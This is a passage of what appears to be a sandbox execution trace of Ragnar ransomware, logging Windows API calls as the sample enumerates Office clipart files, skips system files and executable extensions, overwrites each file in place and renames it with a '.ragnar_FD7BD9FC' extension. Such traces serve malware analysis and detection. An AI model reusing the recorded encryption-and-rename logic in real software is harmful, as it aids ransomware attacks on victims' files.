lpNumberOfBytesRead=0x1eaf34*=0x7f68, lpOverlapped=0x0) returned 1 [0083.496] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.496] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7f68, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.496] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7f68, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7f68, lpOverlapped=0x0) returned 1 [0083.496] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7f68, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.496] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.496] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7f68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.496] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.496] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.497] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.497] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.497] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.497] GetProcessHeap () returned 0x580000 [0083.497] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.497] CloseHandle (hObject=0xf4) returned 1 [0083.497] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" [0083.497] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.ragnar_FD7BD9FC" [0083.497] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.500] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101980.WMF", cAlternateFileName="")) returned 1 [0083.500] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.500] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0101980.WMF" | out: lpString1="J0101980.WMF") returned="J0101980.WMF" [0083.500] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned=".WMF" [0083.500] lstrcmpiW (lpString1="J0101980.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.500] lstrcmpiW (lpString1="J0101980.WMF", lpString2="autorun.inf") returned 1 [0083.500] lstrcmpiW (lpString1="J0101980.WMF", lpString2="boot.ini") returned 1 [0083.500] lstrcmpiW (lpString1="J0101980.WMF", lpString2="bootfont.bin") returned 1 [0083.500] lstrcmpiW (lpString1="J0101980.WMF", lpString2="bootsect.bak") returned 1 [0083.500] lstrcmpiW (lpString1="J0101980.WMF", lpString2="bootmgr") returned 1 [0083.500] lstrcmpiW (lpString1="J0101980.WMF", lpString2="bootmgr.efi") returned 1 [0083.500] lstrcmpiW (lpString1="J0101980.WMF", lpString2="bootmgfw.efi") returned 1 [0083.500] lstrcmpiW (lpString1="J0101980.WMF", lpString2="desktop.ini") returned 1 [0083.500] lstrcmpiW (lpString1="J0101980.WMF", lpString2="iconcache.db") returned 1 [0083.500] lstrcmpiW (lpString1="J0101980.WMF", lpString2="ntldr") returned -1 [0083.500] lstrcmpiW (lpString1="J0101980.WMF", lpString2="ntuser.dat") returned -1 [0083.501] lstrcmpiW (lpString1="J0101980.WMF", lpString2="ntuser.dat.log") returned -1 [0083.501] lstrcmpiW (lpString1="J0101980.WMF", lpString2="ntuser.ini") returned -1 [0083.501] lstrcmpiW (lpString1="J0101980.WMF", lpString2="thumbs.db") returned -1 [0083.501] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.501] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.501] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.501] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.501] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.501] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.501] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf")) returned 0x20 [0083.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.502] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16104) returned 1 [0083.502] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3edf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.502] GetProcessHeap () returned 0x580000 [0083.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.502] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.503] VirtualAlloc (lpAddress=0x0, dwSize=0x3ee8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.503] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.504] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.504] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3ee8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3ee8, lpOverlapped=0x0) returned 1 [0083.505] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.505] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ee8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.505] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3ee8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3ee8, lpOverlapped=0x0) returned 1 [0083.505] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ee8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.505] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.505] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3ee8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.505] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.505] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.506] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.506] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.506] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.506] GetProcessHeap () returned 0x580000 [0083.506] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.506] CloseHandle (hObject=0xf4) returned 1 [0083.506] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" [0083.506] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.ragnar_FD7BD9FC" [0083.506] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.506] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102002.WMF", cAlternateFileName="")) returned 1 [0083.507] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.507] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0102002.WMF" | out: lpString1="J0102002.WMF") returned="J0102002.WMF" [0083.507] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned=".WMF" [0083.507] lstrcmpiW (lpString1="J0102002.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.507] lstrcmpiW (lpString1="J0102002.WMF", lpString2="autorun.inf") returned 1 [0083.507] lstrcmpiW (lpString1="J0102002.WMF", lpString2="boot.ini") returned 1 [0083.507] lstrcmpiW (lpString1="J0102002.WMF", lpString2="bootfont.bin") returned 1 [0083.507] lstrcmpiW (lpString1="J0102002.WMF", lpString2="bootsect.bak") returned 1 [0083.507] lstrcmpiW (lpString1="J0102002.WMF", lpString2="bootmgr") returned 1 [0083.507] lstrcmpiW (lpString1="J0102002.WMF", lpString2="bootmgr.efi") returned 1 [0083.507] lstrcmpiW (lpString1="J0102002.WMF", lpString2="bootmgfw.efi") returned 1 [0083.507] lstrcmpiW (lpString1="J0102002.WMF", lpString2="desktop.ini") returned 1 [0083.507] lstrcmpiW (lpString1="J0102002.WMF", lpString2="iconcache.db") returned 1 [0083.507] lstrcmpiW (lpString1="J0102002.WMF", lpString2="ntldr") returned -1 [0083.507] lstrcmpiW (lpString1="J0102002.WMF", lpString2="ntuser.dat") returned -1 [0083.507] lstrcmpiW (lpString1="J0102002.WMF", lpString2="ntuser.dat.log") returned -1 [0083.507] lstrcmpiW (lpString1="J0102002.WMF", lpString2="ntuser.ini") returned -1 [0083.507] lstrcmpiW (lpString1="J0102002.WMF", lpString2="thumbs.db") returned -1 [0083.507] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.507] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.507] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.507] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.507] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.507] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.507] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf")) returned 0x20 [0083.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.508] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15988) returned 1 [0083.508] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3e6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.508] GetProcessHeap () returned 0x580000 [0083.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.508] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.510] VirtualAlloc (lpAddress=0x0, dwSize=0x3e74, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.510] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.510] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.511] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3e74, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3e74, lpOverlapped=0x0) returned 1 [0083.512] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.512] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3e74, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.512] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3e74, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3e74, lpOverlapped=0x0) returned 1 [0083.512] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3e74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.512] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.512] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.512] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.512] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.512] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.513] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.513] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.513] GetProcessHeap () returned 0x580000 [0083.513] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.513] CloseHandle (hObject=0xf4) returned 1 [0083.513] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" [0083.513] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.ragnar_FD7BD9FC" [0083.513] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.513] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6978, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102594.WMF", cAlternateFileName="")) returned 1 [0083.513] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.513] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0102594.WMF" | out: lpString1="J0102594.WMF") returned="J0102594.WMF" [0083.513] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned=".WMF" [0083.514] lstrcmpiW (lpString1="J0102594.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.514] lstrcmpiW (lpString1="J0102594.WMF", lpString2="autorun.inf") returned 1 [0083.514] lstrcmpiW (lpString1="J0102594.WMF", lpString2="boot.ini") returned 1 [0083.514] lstrcmpiW (lpString1="J0102594.WMF", lpString2="bootfont.bin") returned 1 [0083.514] lstrcmpiW (lpString1="J0102594.WMF", lpString2="bootsect.bak") returned 1 [0083.514] lstrcmpiW (lpString1="J0102594.WMF", lpString2="bootmgr") returned 1 [0083.514] lstrcmpiW (lpString1="J0102594.WMF", lpString2="bootmgr.efi") returned 1 [0083.514] lstrcmpiW (lpString1="J0102594.WMF", lpString2="bootmgfw.efi") returned 1 [0083.514] lstrcmpiW (lpString1="J0102594.WMF", lpString2="desktop.ini") returned 1 [0083.514] lstrcmpiW (lpString1="J0102594.WMF", lpString2="iconcache.db") returned 1 [0083.514] lstrcmpiW (lpString1="J0102594.WMF", lpString2="ntldr") returned -1 [0083.514] lstrcmpiW (lpString1="J0102594.WMF", lpString2="ntuser.dat") returned -1 [0083.514] lstrcmpiW (lpString1="J0102594.WMF", lpString2="ntuser.dat.log") returned -1 [0083.514] lstrcmpiW (lpString1="J0102594.WMF", lpString2="ntuser.ini") returned -1 [0083.514] lstrcmpiW (lpString1="J0102594.WMF", lpString2="thumbs.db") returned -1 [0083.514] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.514] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.514] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.514] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.514] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.514] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.514] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf")) returned 0x20 [0083.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.515] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27000) returned 1 [0083.515] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x696f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.515] GetProcessHeap () returned 0x580000 [0083.515] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.515] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.516] VirtualAlloc (lpAddress=0x0, dwSize=0x6978, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.516] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.516] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.516] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6978, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6978, lpOverlapped=0x0) returned 1 [0083.518] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.518] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6978, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.518] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6978, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6978, lpOverlapped=0x0) returned 1 [0083.518] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6978, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.518] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.518] SetFilePointerEx (in: hFile=0xf4, 